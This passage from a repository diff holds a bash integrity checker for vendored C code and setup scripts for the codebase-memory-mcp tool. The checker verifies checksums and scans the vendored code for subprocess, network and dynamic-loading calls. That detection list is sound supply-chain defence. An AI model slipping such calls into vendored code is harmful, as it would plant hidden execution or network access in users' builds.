[[ "$path" == vendored/* ]] || return 1
|
||||
[[ "$path" == *.c || "$path" == *.h ]] || return 1
|
||||
[[ "$path" != *'\\'* ]] || return 1
|
||||
[[ "$path" != *'//'* ]] || return 1
|
||||
[[ "$path" != *'/./'* && "$path" != */. ]] || return 1
|
||||
[[ "$path" != *'/../'* && "$path" != */.. ]] || return 1
|
||||
[[ "$path" != *$'\n'* && "$path" != *$'\r'* && "$path" != *$'\t'* ]] || return 1
|
||||
}
|
||||
|
||||
hash_file() {
|
||||
local file="$1"
|
||||
local output
|
||||
local hash
|
||||
if ! output="$("${SHA_CMD[@]}" "$file")"; then
|
||||
return 1
|
||||
fi
|
||||
hash="${output%% *}"
|
||||
[[ "$hash" =~ ^[[:xdigit:]]{64}$ ]] || return 1
|
||||
printf '%s\n' "$hash"
|
||||
}
|
||||
|
||||
# Inventory with NUL delimiters first. This makes path validation independent
|
||||
# of whitespace and ensures find/read failures are structural, not silent skips.
|
||||
if ! find "$VENDORED_ROOT" -type f \( -name '*.c' -o -name '*.h' \) -print0 \
|
||||
> "$VENDORED_FILES"; then
|
||||
echo "BLOCKED: cannot inventory vendored source files"
|
||||
STRUCTURAL_FAIL=1
|
||||
fi
|
||||
if ! find "$VENDORED_ROOT" -type l -print0 > "$VENDORED_SYMLINKS"; then
|
||||
echo "BLOCKED: cannot inspect vendored symlinks"
|
||||
STRUCTURAL_FAIL=1
|
||||
fi
|
||||
while IFS= read -r -d '' link; do
|
||||
echo "BLOCKED: vendored symlink is not allowed: ${link#"$ROOT/"}"
|
||||
STRUCTURAL_FAIL=1
|
||||
done < "$VENDORED_SYMLINKS"
|
||||
|
||||
while IFS= read -r -d '' file; do
|
||||
relpath="${file#"$ROOT/"}"
|
||||
DISCOVERED=$((DISCOVERED + 1))
|
||||
if ! valid_vendored_path "$relpath"; then
|
||||
echo "BLOCKED: invalid or non-confined vendored path: $relpath"
|
||||
STRUCTURAL_FAIL=1
|
||||
fi
|
||||
done < "$VENDORED_FILES"
|
||||
|
||||
# Verify each file in the checksum manifest. Malformed, duplicate, or escaping
|
||||
# entries are structural failures. Ordinary content changes are updateable drift.
|
||||
while IFS=' ' read -r expected_hash filepath || [[ -n "$expected_hash$filepath" ]]; do
|
||||
[[ -z "$expected_hash" && -z "$filepath" ]] && continue
|
||||
filepath="${filepath#"${filepath%%[![:space:]]*}"}"
|
||||
|
||||
if [[ ! "$expected_hash" =~ ^[[:xdigit:]]{64}$ ]] ||
|
||||
! valid_vendored_path "$filepath"; then
|
||||
echo "BLOCKED: invalid checksum manifest entry: ${filepath:-<missing path>}"
|
||||
STRUCTURAL_FAIL=1
|
||||
continue
|
||||
fi
|
||||
if grep -Fqx -- "$filepath" "$MANIFEST_PATHS"; then
|
||||
echo "BLOCKED: duplicate checksum manifest path: $filepath"
|
||||
STRUCTURAL_FAIL=1
|
||||
continue
|
||||
fi
|
||||
printf '%s\n' "$filepath" >> "$MANIFEST_PATHS"
|
||||
|
||||
full_path="$ROOT/$filepath"
|
||||
if [[ ! -e "$full_path" ]]; then
|
||||
echo "MISSING: $filepath"
|
||||
MISSING=$((MISSING + 1))
|
||||
CONTENT_DRIFT=1
|
||||
continue
|
||||
fi
|
||||
if [[ ! -f "$full_path" || -L "$full_path" ]]; then
|
||||
echo "BLOCKED: manifest path is not a regular, non-symlink file: $filepath"
|
||||
STRUCTURAL_FAIL=1
|
||||
continue
|
||||
fi
|
||||
if ! actual_hash="$(hash_file "$full_path")"; then
|
||||
echo "BLOCKED: cannot hash vendored file: $filepath"
|
||||
STRUCTURAL_FAIL=1
|
||||
continue
|
||||
fi
|
||||
CHECKED=$((CHECKED + 1))
|
||||
|
||||
if [[ "$actual_hash" != "$expected_hash" ]]; then
|
||||
echo "MISMATCH: $filepath"
|
||||
echo " expected: $expected_hash"
|
||||
echo " actual: $actual_hash"
|
||||
CONTENT_DRIFT=1
|
||||
fi
|
||||
done < "$CHECKSUMS"
|
||||
|
||||
# Verify every vendored library directory has checksum coverage. Missing
|
||||
# coverage in a known library is updateable drift; an unknown library below is
|
||||
# always a structural blocker.
|
||||
echo ""
|
||||
echo "--- Checking vendored library coverage ---"
|
||||
while IFS= read -r -d '' libdir; do
|
||||
libname="$(basename "$libdir")"
|
||||
prefix="vendored/${libname}/"
|
||||
covered=false
|
||||
while IFS= read -r manifest_path; do
|
||||
if [[ "$manifest_path" == "$prefix"* ]]; then
|
||||
covered=true
|
||||
break
|
||||
fi
|
||||
done < "$MANIFEST_PATHS"
|
||||
if ! $covered; then
|
||||
echo "MISSING COVERAGE: vendored/${libname}/ has no checksum entry"
|
||||
CONTENT_DRIFT=1
|
||||
fi
|
||||
done < <(find "$VENDORED_ROOT" -mindepth 1 -maxdepth 1 -type d -print0)
|
||||
|
||||
# An unexpected source is a hard failure in verification mode. Literal
|
||||
# whole-line matching prevents regex metacharacters or path prefixes from
|
||||
# making one manifest entry claim a different file.
|
||||
while IFS= read -r -d '' file; do
|
||||
relpath="${file#"$ROOT/"}"
|
||||
if ! grep -Fqx -- "$relpath" "$MANIFEST_PATHS"; then
|
||||
echo "NEW FILE: $relpath (not in checksums)"
|
||||
UNEXPECTED=$((UNEXPECTED + 1))
|
||||
CONTENT_DRIFT=1
|
||||
fi
|
||||
done < "$VENDORED_FILES"
|
||||
|
||||
echo ""
|
||||
echo "Checked: $CHECKED files"
|
||||
[[ $MISSING -gt 0 ]] && echo "Missing: $MISSING files"
|
||||
[[ $UNEXPECTED -gt 0 ]] && echo "New (untracked): $UNEXPECTED files"
|
||||
if [[ $CHECKED -eq 0 ]]; then
|
||||
echo "BLOCKED: checksum manifest verified zero files"
|
||||
STRUCTURAL_FAIL=1
|
||||
fi
|
||||
if [[ $DISCOVERED -eq 0 ]]; then
|
||||
echo "BLOCKED: vendored inventory contains zero C/header files"
|
||||
STRUCTURAL_FAIL=1
|
||||
fi
|
||||
|
||||
# Dangerous call scan: vendored code must not contain subprocess calls.
|
||||
echo ""
|
||||
echo "--- Scanning vendored code for dangerous calls ---"
|
||||
|
||||
SUBPROCESS_FUNCS='[^a-z_]system\(|[^a-z]popen\(|[^a-z_]execl\(|[^a-z_]execv\(|[^a-z_]fork\('
|
||||
if grep -rn -E "$SUBPROCESS_FUNCS" "$VENDORED_ROOT/" --include='*.c' --include='*.h' 2>/dev/null \
|
||||
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
|
||||
| grep -v 'indicating that a fork' > /dev/null 2>&1; then
|
||||
echo "BLOCKED: Subprocess calls found in vendored code:"
|
||||
grep -rn -E "$SUBPROCESS_FUNCS" "$VENDORED_ROOT/" --include='*.c' --include='*.h' 2>/dev/null \
|
||||
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
|
||||
| grep -v 'indicating that a fork' | head -10
|
||||
STRUCTURAL_FAIL=1
|
||||
else
|
||||
echo "OK: No subprocess calls (system/popen/exec/fork) in vendored code"
|
||||
fi
|
||||
|
||||
# Network calls are not allowed in vendored code. The graph-UI HTTP server is
|
||||
# first-party (src/ui/httpd.c) and audited separately by security-ui.sh.
|
||||
NETWORK_FUNCS='[^a-z_]connect\(|[^a-z_]socket\(|[^a-z_]sendto\(|[^a-z_]bind\('
|
||||
VENDORED_NETWORK="$(grep -rn -E "$NETWORK_FUNCS" "$VENDORED_ROOT/" --include='*.c' --include='*.h' 2>/dev/null \
|
||||
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
|
||||
| grep -v 'sqlite3.*bind()' || true)"
|
||||
if [[ -n "$VENDORED_NETWORK" ]]; then
|
||||
echo "BLOCKED: Network calls found in vendored code:"
|
||||
echo "$VENDORED_NETWORK" | head -10
|
||||
STRUCTURAL_FAIL=1
|
||||
else
|
||||
echo "OK: No network calls in vendored code"
|
||||
fi
|
||||
|
||||
# dlopen/LoadLibrary is only allowed in sqlite3 (extension loading) and
|
||||
# mimalloc (Windows APIs).
|
||||
DYNLOAD_FUNCS='dlopen\(|LoadLibrary\('
|
||||
NON_SQLITE_DYNLOAD="$(grep -rn -E "$DYNLOAD_FUNCS" "$VENDORED_ROOT/" --include='*.c' --include='*.h' 2>/dev/null \
|
||||
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' \
|
||||
| grep -v 'sqlite3' | grep -v 'mimalloc' || true)"
|
||||
if [[ -n "$NON_SQLITE_DYNLOAD" ]]; then
|
||||
echo "BLOCKED: Dynamic library loading found outside sqlite3:"
|
||||
echo "$NON_SQLITE_DYNLOAD" | head -10
|
||||
STRUCTURAL_FAIL=1
|
||||
else
|
||||
echo "OK: dlopen/LoadLibrary only in sqlite3 (blocked by authorizer at runtime)"
|
||||
fi
|
||||
|
||||
# Every top-level vendored library requires an explicit review decision.
|
||||
KNOWN_VENDORED="mimalloc nomic sqlite3 tre xxhash yyjson"
|
||||
while IFS= read -r -d '' libdir; do
|
||||
libname="$(basename "$libdir")"
|
||||
found=false
|
||||
for known in $KNOWN_VENDORED; do
|
||||
if [[ "$libname" == "$known" ]]; then
|
||||
found=true
|
||||
break
|
||||
fi
|
||||
done
|
||||
if ! $found; then
|
||||
echo "BLOCKED: vendored/${libname}/ is not in the known vendored library list"
|
||||
echo " Evaluate it for dangerous calls, then add it to KNOWN_VENDORED."
|
||||
STRUCTURAL_FAIL=1
|
||||
fi
|
||||
done < <(find "$VENDORED_ROOT" -mindepth 1 -maxdepth 1 -type d -print0)
|
||||
|
||||
# Also scan tree-sitter grammars (internal/cbm/vendored/) — 650MB, 20M lines.
|
||||
# Use fixed-string grep for each pattern to avoid slow regex on the large tree.
|
||||
if [[ -d "$ROOT/internal/cbm/vendored" ]]; then
|
||||
GRAMMAR_FAIL=false
|
||||
for pattern in 'system(' 'popen(' 'execl(' 'execv(' 'fork(' 'connect(' 'socket(' 'sendto(' 'dlopen(' 'LoadLibrary('; do
|
||||
HITS="$(grep -rl -F "$pattern" "$ROOT/internal/cbm/vendored/" --include='*.c' --include='*.h' 2>/dev/null | head -3 || true)"
|
||||
if [[ -n "$HITS" ]]; then
|
||||
echo "BLOCKED: '$pattern' found in vendored grammars:"
|
||||
echo "$HITS" | sed 's|.*/vendored/| vendored/|'
|
||||
GRAMMAR_FAIL=true
|
||||
fi
|
||||
done
|
||||
if $GRAMMAR_FAIL; then
|
||||
STRUCTURAL_FAIL=1
|
||||
else
|
||||
echo "OK: No dangerous calls in vendored tree-sitter grammars"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ "$MODE" == "--update" ]]; then
|
||||
if [[ $STRUCTURAL_FAIL -ne 0 ]]; then
|
||||
echo ""
|
||||
echo "=== CHECKSUM UPDATE REFUSED ==="
|
||||
echo "Resolve all structural and dangerous-code blockers before updating."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
UPDATE_TMP="$(mktemp "$CHECKSUMS.tmp.XXXXXX")" || {
|
||||
echo "BLOCKED: cannot create atomic checksum update"
|
||||
exit 1
|
||||
}
|
||||
UPDATE_COUNT=0
|
||||
UPDATE_FAIL=0
|
||||
while IFS= read -r -d '' file; do
|
||||
relpath="${file#"$ROOT/"}"
|
||||
if ! hash="$(hash_file "$file")"; then
|
||||
echo "BLOCKED: cannot hash vendored file during update: $relpath"
|
||||
UPDATE_FAIL=1
|
||||
continue
|
||||
fi
|
||||
printf '%s %s\n' "$hash" "$relpath" >> "$UPDATE_TMP"
|
||||
UPDATE_COUNT=$((UPDATE_COUNT + 1))
|
||||
done < <(LC_ALL=C sort -z "$VENDORED_FILES")
|
||||
|
||||
if [[ $UPDATE_FAIL -ne 0 || $UPDATE_COUNT -eq 0 ]]; then
|
||||
echo "BLOCKED: checksum update did not hash every vendored source"
|
||||
exit 1
|
||||
fi
|
||||
chmod 0644 "$UPDATE_TMP"
|
||||
if ! mv -f "$UPDATE_TMP" "$CHECKSUMS"; then
|
||||
echo "BLOCKED: atomic checksum manifest replacement failed"
|
||||
exit 1
|
||||
fi
|
||||
UPDATE_TMP=""
|
||||
echo ""
|
||||
echo "Updated: $CHECKSUMS ($UPDATE_COUNT files)"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if [[ $STRUCTURAL_FAIL -ne 0 || $CONTENT_DRIFT -ne 0 ]]; then
|
||||
echo ""
|
||||
echo "=== VENDORED INTEGRITY CHECK FAILED ==="
|
||||
if [[ $STRUCTURAL_FAIL -eq 0 ]]; then
|
||||
echo "Vendored content changed. If intentional, review it and run:"
|
||||
echo "scripts/security-vendored.sh --update"
|
||||
else
|
||||
echo "Resolve all structural and dangerous-code blockers before updating."
|
||||
fi
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "=== Vendored integrity check passed ==="
|
||||
@@ -0,0 +1,326 @@
|
||||
# codebase-memory-mcp setup script (Windows)
|
||||
# Default: download pre-built native Windows binary
|
||||
# -FromSource: build from source inside WSL (requires Go + gcc in WSL)
|
||||
|
||||
param(
|
||||
[switch]$FromSource,
|
||||
[switch]$Help
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
$Repo = "DeusData/codebase-memory-mcp"
|
||||
$BinaryName = "codebase-memory-mcp"
|
||||
$InstallDir = Join-Path $env:LOCALAPPDATA "codebase-memory-mcp"
|
||||
|
||||
# --- Helpers ---
|
||||
|
||||
function Write-Ok($msg) { Write-Host " $msg" -ForegroundColor Green }
|
||||
function Write-Fail($msg) { Write-Host " $msg" -ForegroundColor Red }
|
||||
function Write-Warn($msg) { Write-Host " $msg" -ForegroundColor Yellow }
|
||||
|
||||
function Read-SettingsJson($Path) {
|
||||
# PS5.1-compatible: ConvertFrom-Json returns PSCustomObject, not Hashtable.
|
||||
# We convert to ordered hashtable manually.
|
||||
if (-not (Test-Path $Path)) {
|
||||
return @{}
|
||||
}
|
||||
$raw = Get-Content $Path -Raw
|
||||
if (-not $raw -or $raw.Trim() -eq "") {
|
||||
return @{}
|
||||
}
|
||||
$obj = $raw | ConvertFrom-Json
|
||||
$ht = [ordered]@{}
|
||||
foreach ($prop in $obj.PSObject.Properties) {
|
||||
if ($prop.Value -is [System.Management.Automation.PSCustomObject]) {
|
||||
$inner = [ordered]@{}
|
||||
foreach ($p in $prop.Value.PSObject.Properties) {
|
||||
$inner[$p.Name] = $p.Value
|
||||
}
|
||||
$ht[$prop.Name] = $inner
|
||||
} else {
|
||||
$ht[$prop.Name] = $prop.Value
|
||||
}
|
||||
}
|
||||
return $ht
|
||||
}
|
||||
|
||||
function Write-SettingsJson($Path, $Settings) {
|
||||
# Back up existing file before writing
|
||||
if (Test-Path $Path) {
|
||||
Copy-Item $Path "$Path.bak" -Force
|
||||
}
|
||||
$Settings | ConvertTo-Json -Depth 10 | Set-Content $Path -Encoding UTF8
|
||||
}
|
||||
|
||||
function Configure-ClaudeCode($McpConfig) {
|
||||
Write-Host ""
|
||||
$answer = Read-Host "Configure Claude Code to use codebase-memory-mcp? [y/N]"
|
||||
|
||||
if ($answer -match '^[Yy]$') {
|
||||
$settingsPath = Join-Path $env:USERPROFILE ".claude\settings.json"
|
||||
$settingsDir = Split-Path $settingsPath -Parent
|
||||
|
||||
if (-not (Test-Path $settingsDir)) {
|
||||
New-Item -ItemType Directory -Path $settingsDir -Force | Out-Null
|
||||
}
|
||||
|
||||
$settings = Read-SettingsJson $settingsPath
|
||||
|
||||
if (-not $settings.Contains("mcpServers")) {
|
||||
$settings["mcpServers"] = [ordered]@{}
|
||||
}
|
||||
|
||||
$settings["mcpServers"]["codebase-memory-mcp"] = $McpConfig
|
||||
Write-SettingsJson $settingsPath $settings
|
||||
Write-Ok "Updated $settingsPath"
|
||||
} else {
|
||||
Write-Host ""
|
||||
Write-Host " Add this to your .mcp.json or %USERPROFILE%\.claude\settings.json:" -ForegroundColor White
|
||||
Write-Host ""
|
||||
$snippet = @{ mcpServers = @{ "codebase-memory-mcp" = $McpConfig } }
|
||||
$snippet | ConvertTo-Json -Depth 10 | Write-Host
|
||||
}
|
||||
}
|
||||
|
||||
function Test-WSL {
|
||||
try {
|
||||
$null = wsl.exe --status 2>&1
|
||||
if ($LASTEXITCODE -ne 0) { return $false }
|
||||
return $true
|
||||
} catch {
|
||||
return $false
|
||||
}
|
||||
}
|
||||
|
||||
function Get-WSLDistro {
|
||||
$output = wsl.exe -l -v 2>&1 | Out-String
|
||||
$lines = $output -split "`n" | Where-Object { $_ -match '\S' } | Select-Object -Skip 1
|
||||
foreach ($line in $lines) {
|
||||
$clean = $line -replace '\x00', '' -replace '^\s+', ''
|
||||
if ($clean -match '^\*?\s*(\S+)\s+') {
|
||||
$name = $Matches[1]
|
||||
if ($name -ne "NAME" -and $name -ne "") {
|
||||
return $name
|
||||
}
|
||||
}
|
||||
}
|
||||
return $null
|
||||
}
|
||||
|
||||
function Invoke-WSL {
|
||||
param([string]$Command)
|
||||
$result = wsl.exe -- bash -c $Command 2>&1
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
throw "WSL command failed: $Command`n$result"
|
||||
}
|
||||
return $result
|
||||
}
|
||||
|
||||
# --- Main ---
|
||||
|
||||
if ($Help) {
|
||||
Write-Host ""
|
||||
Write-Host "Usage: .\setup-windows.ps1 [-FromSource] [-Help]"
|
||||
Write-Host ""
|
||||
Write-Host " Default: Download pre-built Windows binary"
|
||||
Write-Host " -FromSource: Build from source inside WSL (requires Go 1.23+ and gcc in WSL)"
|
||||
Write-Host ""
|
||||
exit 0
|
||||
}
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "codebase-memory-mcp installer (Windows)" -ForegroundColor White
|
||||
Write-Host ""
|
||||
|
||||
if ($FromSource) {
|
||||
# --- Build from source via WSL ---
|
||||
Write-Host "Checking WSL2 (required for building from source)..." -ForegroundColor White
|
||||
|
||||
if (-not (Test-WSL)) {
|
||||
Write-Fail "WSL2 is not available. Required for building from source (CGO needs gcc)."
|
||||
Write-Host ""
|
||||
Write-Host " Install WSL2:" -ForegroundColor Yellow
|
||||
Write-Host " wsl --install -d Ubuntu"
|
||||
Write-Host " Then restart your computer and run this script again."
|
||||
Write-Host ""
|
||||
Write-Host " Alternatively, download a pre-built binary (no WSL needed):" -ForegroundColor Yellow
|
||||
Write-Host " .\setup-windows.ps1"
|
||||
exit 1
|
||||
}
|
||||
Write-Ok "WSL2 is available"
|
||||
|
||||
$distro = Get-WSLDistro
|
||||
if (-not $distro) {
|
||||
Write-Fail "No WSL Linux distribution found."
|
||||
Write-Host ""
|
||||
Write-Host " Install Ubuntu:" -ForegroundColor Yellow
|
||||
Write-Host " wsl --install -d Ubuntu"
|
||||
exit 1
|
||||
}
|
||||
Write-Ok "WSL distro: $distro"
|
||||
|
||||
$wslUser = (Invoke-WSL "whoami").Trim()
|
||||
Write-Ok "WSL user: $wslUser"
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "Checking prerequisites inside WSL..." -ForegroundColor White
|
||||
|
||||
# Check for gcc
|
||||
try {
|
||||
Invoke-WSL "command -v gcc" | Out-Null
|
||||
Write-Ok "gcc found"
|
||||
} catch {
|
||||
Write-Warn "gcc not found. Installing build-essential..."
|
||||
Invoke-WSL "sudo apt-get update && sudo apt-get install -y build-essential"
|
||||
}
|
||||
|
||||
# Check for Go
|
||||
try {
|
||||
$goVersion = Invoke-WSL "go version"
|
||||
Write-Ok "Go: $goVersion"
|
||||
} catch {
|
||||
Write-Fail "Go not found in WSL."
|
||||
Write-Host ""
|
||||
Write-Host " Install Go 1.23+ inside WSL:" -ForegroundColor Yellow
|
||||
Write-Host " See https://go.dev/dl/ for Linux amd64 tarball"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Check for git
|
||||
try {
|
||||
Invoke-WSL "command -v git" | Out-Null
|
||||
Write-Ok "git found"
|
||||
} catch {
|
||||
Write-Fail "git not found in WSL. Install with: sudo apt install git"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Clone or update
|
||||
Write-Host ""
|
||||
$sourceDir = "/home/$wslUser/.local/share/codebase-memory-mcp"
|
||||
try {
|
||||
Invoke-WSL "test -d $sourceDir/.git" | Out-Null
|
||||
Write-Host "Updating source..." -ForegroundColor White
|
||||
Invoke-WSL "git -C $sourceDir pull --ff-only"
|
||||
} catch {
|
||||
Write-Host "Cloning repository..." -ForegroundColor White
|
||||
Invoke-WSL "mkdir -p /home/$wslUser/.local/share && git clone https://github.com/$Repo.git $sourceDir"
|
||||
}
|
||||
Write-Ok "Source at $sourceDir"
|
||||
|
||||
# Build
|
||||
Write-Host ""
|
||||
Write-Host "Building binary (this may take a minute)..." -ForegroundColor White
|
||||
$wslBinaryPath = "/home/$wslUser/.local/bin/$BinaryName"
|
||||
Invoke-WSL "mkdir -p /home/$wslUser/.local/bin && cd $sourceDir && scripts/build.sh && cp build/c/codebase-memory-mcp $wslBinaryPath"
|
||||
Write-Ok "Built to $wslBinaryPath (inside WSL)"
|
||||
|
||||
# Verify
|
||||
try {
|
||||
Invoke-WSL "test -x $wslBinaryPath" | Out-Null
|
||||
Write-Ok "Binary is executable"
|
||||
} catch {
|
||||
Write-Fail "Binary at $wslBinaryPath is not executable"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Configure — WSL binary needs wsl.exe wrapper
|
||||
$mcpConfig = [ordered]@{
|
||||
type = "stdio"
|
||||
command = "wsl.exe"
|
||||
args = @("-d", $distro, "--", $wslBinaryPath)
|
||||
}
|
||||
|
||||
Configure-ClaudeCode $mcpConfig
|
||||
|
||||
Write-Host ""
|
||||
Write-Ok "Done! Restart Claude Code and verify with /mcp"
|
||||
Write-Host ""
|
||||
Write-Host " To uninstall:" -ForegroundColor White
|
||||
Write-Host " wsl.exe -- rm $wslBinaryPath"
|
||||
Write-Host " wsl.exe -- rm -rf $sourceDir"
|
||||
Write-Host " wsl.exe -- rm -rf ~/.cache/codebase-memory-mcp/"
|
||||
|
||||
} else {
|
||||
# --- Download pre-built native Windows binary ---
|
||||
Write-Host "Fetching latest release..." -ForegroundColor White
|
||||
|
||||
$releaseUrl = "https://api.github.com/repos/$Repo/releases/latest"
|
||||
$release = Invoke-RestMethod -Uri $releaseUrl -Headers @{ "User-Agent" = "codebase-memory-mcp-setup" }
|
||||
$tag = $release.tag_name
|
||||
|
||||
if (-not $tag) {
|
||||
Write-Fail "Could not determine latest release."
|
||||
Write-Host " Check: https://github.com/$Repo/releases"
|
||||
exit 1
|
||||
}
|
||||
Write-Ok "Latest release: $tag"
|
||||
|
||||
$asset = "codebase-memory-mcp-windows-amd64.zip"
|
||||
$downloadUrl = "https://github.com/$Repo/releases/download/$tag/$asset"
|
||||
|
||||
Write-Host "Downloading $asset..." -ForegroundColor White
|
||||
|
||||
# Create install directory
|
||||
if (-not (Test-Path $InstallDir)) {
|
||||
New-Item -ItemType Directory -Path $InstallDir -Force | Out-Null
|
||||
}
|
||||
|
||||
$tmpZip = Join-Path $env:TEMP $asset
|
||||
Invoke-WebRequest -Uri $downloadUrl -OutFile $tmpZip -UseBasicParsing
|
||||
|
||||
# Extract
|
||||
Expand-Archive -Path $tmpZip -DestinationPath $InstallDir -Force
|
||||
Remove-Item $tmpZip -Force
|
||||
|
||||
$binaryPath = Join-Path $InstallDir "$BinaryName.exe"
|
||||
|
||||
if (-not (Test-Path $binaryPath)) {
|
||||
Write-Fail "Binary not found at $binaryPath after extraction"
|
||||
exit 1
|
||||
}
|
||||
Write-Ok "Installed to $binaryPath"
|
||||
|
||||
# Verify binary runs
|
||||
try {
|
||||
$verOut = & $binaryPath --version 2>&1
|
||||
Write-Ok "Version: $verOut"
|
||||
} catch {
|
||||
Write-Warn "Could not verify binary version (may still work)"
|
||||
}
|
||||
|
||||
# SmartScreen note
|
||||
Write-Host ""
|
||||
Write-Warn "Windows SmartScreen may show a warning when the binary runs for the first time."
|
||||
Write-Host " This is normal for unsigned open-source binaries." -ForegroundColor Yellow
|
||||
Write-Host " Click 'More info' then 'Run anyway' to proceed." -ForegroundColor Yellow
|
||||
Write-Host " Verify checksums at: https://github.com/$Repo/releases" -ForegroundColor Yellow
|
||||
|
||||
# Check if install dir is on PATH
|
||||
$userPath = [Environment]::GetEnvironmentVariable("Path", "User")
|
||||
if ($userPath -notlike "*$InstallDir*") {
|
||||
Write-Host ""
|
||||
Write-Warn "$InstallDir is not on your PATH."
|
||||
$addPath = Read-Host " Add it to your user PATH? [y/N]"
|
||||
if ($addPath -match '^[Yy]$') {
|
||||
[Environment]::SetEnvironmentVariable("Path", "$userPath;$InstallDir", "User")
|
||||
Write-Ok "Added to user PATH (restart your terminal to take effect)"
|
||||
}
|
||||
}
|
||||
|
||||
# Configure Claude Code
|
||||
$mcpConfig = [ordered]@{
|
||||
type = "stdio"
|
||||
command = $binaryPath
|
||||
}
|
||||
|
||||
Configure-ClaudeCode $mcpConfig
|
||||
|
||||
Write-Host ""
|
||||
Write-Ok "Done! Restart Claude Code and verify with /mcp"
|
||||
Write-Host ""
|
||||
Write-Host " To uninstall:" -ForegroundColor White
|
||||
Write-Host " Remove-Item -Recurse -Force '$InstallDir'"
|
||||
Write-Host " Remove-Item -Recurse -Force `"$env:LOCALAPPDATA\codebase-memory-mcp`" # graph database"
|
||||
}
|
||||
@@ -0,0 +1,335 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# codebase-memory-mcp setup script (macOS + Linux)
|
||||
# Default: download pre-built binary from GitHub Release
|
||||
# --from-source: build from source (requires Go + C compiler)
|
||||
|
||||
REPO="DeusData/codebase-memory-mcp"
|
||||
INSTALL_DIR="$HOME/.local/bin"
|
||||
BINARY_NAME="codebase-memory-mcp"
|
||||
SOURCE_DIR="$HOME/.local/share/codebase-memory-mcp"
|
||||
CLEANUP_DIR="" # set by download_binary for EXIT trap
|
||||
|
||||
# --- Colors ---
|
||||
|
||||
if [ -t 1 ] && command -v tput &>/dev/null; then
|
||||
GREEN=$(tput setaf 2)
|
||||
RED=$(tput setaf 1)
|
||||
YELLOW=$(tput setaf 3)
|
||||
BOLD=$(tput bold)
|
||||
RESET=$(tput sgr0)
|
||||
else
|
||||
GREEN=""
|
||||
RED=""
|
||||
YELLOW=""
|
||||
BOLD=""
|
||||
RESET=""
|
||||
fi
|
||||
|
||||
ok() { echo "${GREEN}✓${RESET} $*"; }
|
||||
fail() { echo "${RED}✗${RESET} $*"; }
|
||||
warn() { echo "${YELLOW}⚠${RESET} $*"; }
|
||||
info() { echo " $*"; }
|
||||
|
||||
die() { fail "$@"; exit 1; }
|
||||
|
||||
# --- Argument parsing ---
|
||||
|
||||
FROM_SOURCE=false
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
--from-source) FROM_SOURCE=true ;;
|
||||
--help|-h)
|
||||
echo "Usage: $0 [--from-source]"
|
||||
echo ""
|
||||
echo " Default: Download pre-built binary from GitHub Release"
|
||||
echo " --from-source: Clone and build from source (requires Go 1.23+ and a C compiler)"
|
||||
exit 0
|
||||
;;
|
||||
*) die "Unknown argument: $arg" ;;
|
||||
esac
|
||||
done
|
||||
|
||||
# --- Platform detection ---
|
||||
|
||||
detect_platform() {
|
||||
local os arch
|
||||
os=$(uname -s)
|
||||
arch=$(uname -m)
|
||||
|
||||
case "$os" in
|
||||
Darwin) os="darwin" ;;
|
||||
Linux) os="linux" ;;
|
||||
*) die "Unsupported OS: $os. Use WSL2 on Windows." ;;
|
||||
esac
|
||||
|
||||
case "$arch" in
|
||||
arm64|aarch64) arch="arm64" ;;
|
||||
x86_64|amd64)
|
||||
# On macOS, uname -m returns x86_64 under Rosetta even on Apple Silicon.
|
||||
# Check the actual hardware to pick the right binary.
|
||||
if [ "$os" = "darwin" ] && sysctl -n hw.optional.arm64 2>/dev/null | grep -q '1'; then
|
||||
arch="arm64"
|
||||
else
|
||||
arch="amd64"
|
||||
fi
|
||||
;;
|
||||
*) die "Unsupported architecture: $arch" ;;
|
||||
esac
|
||||
|
||||
echo "${os}-${arch}"
|
||||
}
|
||||
|
||||
# --- Prerequisite checks ---
|
||||
|
||||
check_download_tool() {
|
||||
if command -v curl &>/dev/null; then
|
||||
echo "curl"
|
||||
elif command -v wget &>/dev/null; then
|
||||
echo "wget"
|
||||
else
|
||||
die "Neither curl nor wget found. Install one and retry."
|
||||
fi
|
||||
}
|
||||
|
||||
check_go_version() {
|
||||
if ! command -v go &>/dev/null; then
|
||||
die "Go not found. Install Go 1.23+ from https://go.dev/dl/"
|
||||
fi
|
||||
|
||||
local version
|
||||
version=$(go version | grep -oE 'go[0-9]+\.[0-9]+' | head -1)
|
||||
local major minor
|
||||
major=$(echo "$version" | grep -oE '[0-9]+' | head -1)
|
||||
minor=$(echo "$version" | grep -oE '[0-9]+' | sed -n '2p')
|
||||
|
||||
if [ "$major" -lt 1 ] || { [ "$major" -eq 1 ] && [ "$minor" -lt 23 ]; }; then
|
||||
die "Go $major.$minor found, but 1.23+ is required. Update from https://go.dev/dl/"
|
||||
fi
|
||||
|
||||
ok "Go $major.$minor"
|
||||
}
|
||||
|
||||
check_c_compiler() {
|
||||
if command -v cc &>/dev/null || command -v gcc &>/dev/null || command -v clang &>/dev/null; then
|
||||
ok "C compiler found"
|
||||
return
|
||||
fi
|
||||
|
||||
local os
|
||||
os=$(uname -s)
|
||||
if [ "$os" = "Darwin" ]; then
|
||||
die "No C compiler found. Run: xcode-select --install"
|
||||
else
|
||||
die "No C compiler found. Install build-essential (Debian/Ubuntu) or gcc (Fedora/RHEL)"
|
||||
fi
|
||||
}
|
||||
|
||||
check_git() {
|
||||
if ! command -v git &>/dev/null; then
|
||||
die "Git not found. Install git and retry."
|
||||
fi
|
||||
ok "Git found"
|
||||
}
|
||||
|
||||
# --- Download binary ---
|
||||
|
||||
fetch() {
|
||||
local url="$1" tool="$2"
|
